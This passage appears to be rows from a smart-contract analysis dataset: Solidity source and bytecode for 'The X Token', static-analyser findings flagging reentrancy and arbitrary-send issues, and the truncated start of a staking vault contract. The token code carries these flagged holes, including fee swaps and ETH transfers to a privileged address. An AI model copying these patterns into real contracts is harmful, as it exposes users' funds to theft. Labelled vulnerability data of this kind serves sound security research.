event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context
{
address private _owner;
address internal _creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
_creator = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract THEX is Context, IERC20, Ownable
{
using SafeMath for uint256;
string private constant _name = "The X Token";
string private constant _symbol = "TheX";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _pairings;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _fee = 5;
mapping(address => uint256) private _tradecooldown; // trade-wide to prevent malicious disruption of bidding process
address private _topRank;
uint256 private _topScore;
bool private _awarded;
address payable private _liquidity;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _transactionLimit = _tTotal;
event AuctionAward(address indexed winner, uint256 value);
constructor(address payable addr)
{
_liquidity = addr;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory)
{
return _name;
}
function symbol() public pure returns (string memory)
{
return _symbol;
}
function decimals() public pure returns (uint8)
{
return _decimals;
}
function totalSupply() public pure override returns (uint256)
{
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256)
{
return tokenFromReflection(_rOwned[account]);
}
function TopRankScore() public view returns (uint256)
{
return _topScore;
}
function transfer(address recipient, uint256 amount) public override returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function addPairing(address addr) external
{
require(_msgSender() == _creator, "Trade pairings can only be added by contract creator");
_pairings[addr] = true;
}
function addLiquidity() external onlyOwner()
{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_transactionLimit = 5000000000 * 10**9; //0.5%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_pairings[uniswapV2Pair] = true;
}
function openTrading() public onlyOwner
{
require(liquidityAdded);
tradingOpen = true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256)
{
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private
{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap)
{
uint256 rate = _getRate();
_rOwned[from] = _rOwned[from].sub(amount.mul(rate));
_rOwned[to] = _rOwned[to].add(amount.mul(rate));
emit Transfer(from, to, amount);
}
else
{
if (_pairings[from] && to != address(uniswapV2Router))
{
require(tradingOpen);
require(amount <= _transactionLimit);
require(_tradecooldown[to] < block.timestamp);
_tradecooldown[to] = block.timestamp + (60 seconds);
if (_awarded || amount > _topScore)
{// check auction state
_topRank = to;
_topScore = amount;
_awarded = false;
}
}
uint256 award = 0;
if (!_pairings[from] && swapEnabled)
{
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _transactionLimit, "TheX: price impact too high");
require(_tradecooldown[from] < block.timestamp);
_convertFeeToLiqAddr();
_tradecooldown[from] = block.timestamp + (10 minutes);
if (_topRank != address(0) && _topRank != from)
{// we have a valid bidder
award = amount.mul(_fee).div(100);
_awarded = true;
}
}
_tokenTransfer(from, to, amount, award);
}
}
function _convertFeeToLiqAddr() private
{
uint256 bal = balanceOf(address(this));
uint256 pool = balanceOf(uniswapV2Pair);
if (bal > pool.mul(3).div(100))
bal = pool.mul(2).div(100);
if (bal > pool.div(500))
{
inSwap = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), bal);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(bal, 0, path, address(this), block.timestamp);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0)
_liquidity.transfer(contractETHBalance);
inSwap = false;
}
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 award) private
{
uint256 rate = _getRate();
_rOwned[from] =_rOwned[from].sub(amount.mul(rate));
uint256 rfee = amount.mul(rate).mul(_fee).div(100);
_rOwned[to] = _rOwned[to].add(amount.mul(rate).sub(rfee).sub(rfee).sub(award.mul(rate)));
if (award > 0 && _topRank != address(0))
{
_rOwned[_topRank] = _rOwned[_topRank].add(award.mul(rate));
}
_reflectFee(rfee, amount.mul(_fee).div(100));
if (award > 0 && _topRank != address(0))
{
emit Transfer(from, _topRank, award);
emit AuctionAward(_topRank, award);
}
emit Transfer(from, to, amount.mul(50 - _fee).div(50).sub(award));
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_transactionLimit = _tTotal.mul(maxTxPercent).div(10**2);
}
function _reflectFee(uint256 rFee, uint256 tFee) private
{
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
_rOwned[address(this)] = _rOwned[address(this)].add(rFee);
}
function manualswap() external {
require(_msgSender() == _liquidity);
inSwap = true;
uint256 contractBalance = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), contractBalance);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(contractBalance, 0, path, address(this), block.timestamp);
inSwap = false;
}
function manualsend() external {
require(_msgSender() == _liquidity);
uint256 contractETHBalance = address(this).balance;
_liquidity.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061010d5760003560e01c80638da5cb5b11610095578063c9567bf911610064578063c9567bf9146102dc578063d543dbeb146102f1578063dd62ed3e14610311578063e42d136414610357578063e8078d941461037757600080fd5b80638da5cb5b1461025257806395d89b411461027a578063a9059cbb146102a7578063c3c8cd80146102c757600080fd5b8063313ce567116100dc578063313ce567146101d55780635e7c017b146101f15780636fc3eaec1461020657806370a082311461021d578063715018a61461023d57600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a2a3432902c102a37b5b2b760a91b60208201525b6040516101569190611b03565b60405180910390f35b34801561016b57600080fd5b5061017f61017a366004611a73565b61038c565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d0366004611a33565b6103a3565b3480156101e157600080fd5b5060405160098152602001610156565b3480156101fd57600080fd5b50600c546101a7565b34801561021257600080fd5b5061021b61040c565b005b34801561022957600080fd5b506101a76102383660046119c3565b610474565b34801561024957600080fd5b5061021b610496565b34801561025e57600080fd5b506000546040516001600160a01b039091168152602001610156565b34801561028657600080fd5b506040805180820190915260048152630a8d0cab60e31b6020820152610149565b3480156102b357600080fd5b5061017f6102c2366004611a73565b610513565b3480156102d357600080fd5b5061021b610520565b3480156102e857600080fd5b5061021b6106fa565b3480156102fd57600080fd5b5061021b61030c366004611abe565b61074f565b34801561031d57600080fd5b506101a761032c3660046119fb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036357600080fd5b5061021b6103723660046119c3565b6107ed565b34801561038357600080fd5b5061021b610891565b6000610399338484610c21565b5060015b92915050565b60006103b0848484610d45565b61040284336103fd85604051806060016040528060288152602001611c98602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611201565b610c21565b5060019392505050565b600d5461010090046001600160a01b0316336001600160a01b03161461043157600080fd5b600d54604051479161010090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610470573d6000803e3d6000fd5b5050565b6001600160a01b03811660009081526002602052604081205461039d9061123b565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016104c090611b56565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610399338484610d45565b600d5461010090046001600160a01b0316336001600160a01b03161461054557600080fd5b600f805460ff60b01b1916600160b01b179055600061056330610474565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106105ab57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156105ff57600080fd5b505afa158015610613573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063791906119df565b8160018151811061065857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461067e9130911684610c21565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906106b7908590600090869030904290600401611b8b565b600060405180830381600087803b1580156106d157600080fd5b505af11580156106e5573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000546001600160a01b031633146107245760405162461bcd60e51b81526004016104c090611b56565b600f54600160a81b900460ff1661073a57600080fd5b600f805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107795760405162461bcd60e51b81526004016104c090611b56565b600081116107c95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104c0565b6107e760646107e1683635c9adc5dea00000846112bf565b9061133e565b60105550565b6001546001600160a01b0316336001600160a01b03161461086d5760405162461bcd60e51b815260206004820152603460248201527f54726164652070616972696e67732063616e206f6e6c7920626520616464656460448201527310313c9031b7b73a3930b1ba1031b932b0ba37b960611b60648201526084016104c0565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016104c090611b56565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108f83082683635c9adc5dea00000610c21565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093157600080fd5b505afa158015610945573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096991906119df565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b157600080fd5b505afa1580156109c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e991906119df565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a3157600080fd5b505af1158015610a45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6991906119df565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610a9981610474565b600080610aae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1157600080fd5b505af1158015610b25573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b4a9190611ad6565b5050600f805462ff00ff60a81b1981166201000160a81b17909155674563918244f40000601055600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bc057600080fd5b505af1158015610bd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf89190611a9e565b5050600f546001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c0565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c0565b6001600160a01b038216610e0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c0565b60008111610e6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c0565b6001600160a01b03831660009081526005602052604090205460ff1680610eac57506001600160a01b03821660009081526005602052604090205460ff165b80610ec05750600f54600160b01b900460ff165b15610fa4576000610ecf611380565b9050610efd610ede83836112bf565b6001600160a01b038616600090815260026020526040902054906113a3565b6001600160a01b038516600090815260026020526040902055610f42610f2383836112bf565b6001600160a01b038516600090815260026020526040902054906113e5565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f969086815260200190565b60405180910390a350505050565b6001600160a01b03831660009081526006602052604090205460ff168015610fda5750600e546001600160a01b03838116911614155b1561108e57600f54600160a01b900460ff16610ff557600080fd5b60105481111561100457600080fd5b6001600160a01b0382166000908152600a6020526040902054421161102857600080fd5b61103342603c611bfb565b6001600160a01b0383166000908152600a6020526040902055600d5460ff168061105e5750600c5481115b1561108e57600b80546001600160a01b0319166001600160a01b038416179055600c819055600d805460ff191690555b6001600160a01b03831660009081526006602052604081205460ff161580156110c05750600f54600160b81b900460ff165b156111ef57600f546110ee906064906107e1906003906110e8906001600160a01b0316610474565b906112bf565b82111580156110ff57506010548211155b61114b5760405162461bcd60e51b815260206004820152601b60248201527f546865583a20707269636520696d7061637420746f6f2068696768000000000060448201526064016104c0565b6001600160a01b0384166000908152600a6020526040902054421161116f57600080fd5b611177611444565b61118342610258611bfb565b6001600160a01b038086166000908152600a6020526040902091909155600b5416158015906111c05750600b546001600160a01b03858116911614155b156111ef576111df60646107e1600954856112bf90919063ffffffff16565b600d805460ff1916600117905590505b6111fb84848484611699565b50505050565b600081848411156112255760405162461bcd60e51b81526004016104c09190611b03565b5060006112328486611c52565b95945050505050565b60006007548211156112a25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c0565b60006112ac611380565b90506112b8838261133e565b9392505050565b6000826112ce5750600061039d565b60006112da8385611c33565b9050826112e78583611c13565b146112b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c0565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611905565b600080600061138d611933565b909250905061139c828261133e565b9250505090565b60006112b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611201565b6000806113f28385611bfb565b9050838110156112b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c0565b600061144f30610474565b600f5490915060009061146a906001600160a01b0316610474565b905061147c60646107e18360036112bf565b8211156114965761149360646107e18360026112bf565b91505b6114a2816101f461133e565b82111561047057600f805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ff57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155357600080fd5b505afa158015611567573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158b91906119df565b816001815181106115ac57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546115d29130911685610c21565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061160b908690600090869030904290600401611b8b565b600060405180830381600087803b15801561162557600080fd5b505af1158015611639573d6000803e3d6000fd5b50479250508115905061168657600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611684573d6000803e3d6000fd5b505b5050600f805460ff60b01b191690555050565b60006116a3611380565b90506116d16116b284836112bf565b6001600160a01b038716600090815260026020526040902054906113a3565b6001600160a01b038616600090815260026020526040812091909155600954611705906064906107e1906110e888876112bf565b905061174a61172b61171785856112bf565b611725848181818b8a6112bf565b906113a3565b6001600160a01b038716600090815260026020526040902054906113e5565b6001600160a01b038616600090815260026020526040902055821580159061177c5750600b546001600160a01b031615155b156117cb576117af61178e84846112bf565b600b546001600160a01b0316600090815260026020526040902054906113e5565b600b546001600160a01b03166000908152600260205260409020555b6117ee816117e960646107e1600954896112bf90919063ffffffff16565b611975565b6000831180156118085750600b546001600160a01b031615155b1561189557600b546040518481526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3600b546040518481526001600160a01b03909116907f56792aa2c6648c6ba5a3af031a3cac3cf395f97b120549280a554916150b93399060200160405180910390a25b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118ec8661172560326107e160095460326118e59190611c52565b8c906112bf565b60405190815260200160405180910390a3505050505050565b600081836119265760405162461bcd60e51b81526004016104c09190611b03565b5060006112328486611c13565b6007546000908190683635c9adc5dea0000061194f828261133e565b82101561196c57505060075492683635c9adc5dea0000092509050565b90939092509050565b60075461198290836113a3565b60075560085461199290826113e5565b600855306000908152600260205260409020546119af90836113e5565b306000908152600260205260409020555050565b6000602082840312156119d4578081fd5b81356112b881611c7f565b6000602082840312156119f0578081fd5b81516112b881611c7f565b60008060408385031215611a0d578081fd5b8235611a1881611c7f565b91506020830135611a2881611c7f565b809150509250929050565b600080600060608486031215611a47578081fd5b8335611a5281611c7f565b92506020840135611a6281611c7f565b929592945050506040919091013590565b60008060408385031215611a85578182fd5b8235611a9081611c7f565b946020939093013593505050565b600060208284031215611aaf578081fd5b815180151581146112b8578182fd5b600060208284031215611acf578081fd5b5035919050565b600080600060608486031215611aea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b2f57858101830151858201604001528201611b13565b81811115611b405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611bda5784516001600160a01b031683529383019391830191600101611bb5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c0e57611c0e611c69565b500190565b600082611c2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c4d57611c4d611c69565b500290565b600082821015611c6457611c64611c69565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611c9457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f50afd2c73e47bd1db4916c6df0220e42f31571eaac64db9793505b947d7be0a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,284 |
0x85382ea73ced477e3e524f511b5d2cb58d3f3a73
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address payable public owner;
address payable public newOwner;
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(
address(0),
owner
);
}
modifier onlyOwner() {
require(msg.sender==owner,"only owner allowed");
_;
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "only new owner allowed");
emit OwnershipTransferred(
owner,
newOwner
);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
function mintStakeFarmSupply(address to,uint256 _amount) external returns(uint256);
}
contract RemitVaultFarmEth is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
address public trustedDepositTokenAddress;
address public trustedRewardTokenAddress;
uint public adminCanClaimAfter = 395 days;
uint public withdrawFeePercentX100 = 50;
uint public disburseAmount = 68287036999999990;
uint public disburseDuration = 15;
uint public cliffTime = 20 days;
uint public constant rewardFeeRate = 500;
uint public disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor(address _trustedDepositTokenAddress) public {
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
trustedDepositTokenAddress = _trustedDepositTokenAddress;
trustedRewardTokenAddress = 0xa2fcC180fa0cbc0983F9b6948D22df733273925b;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
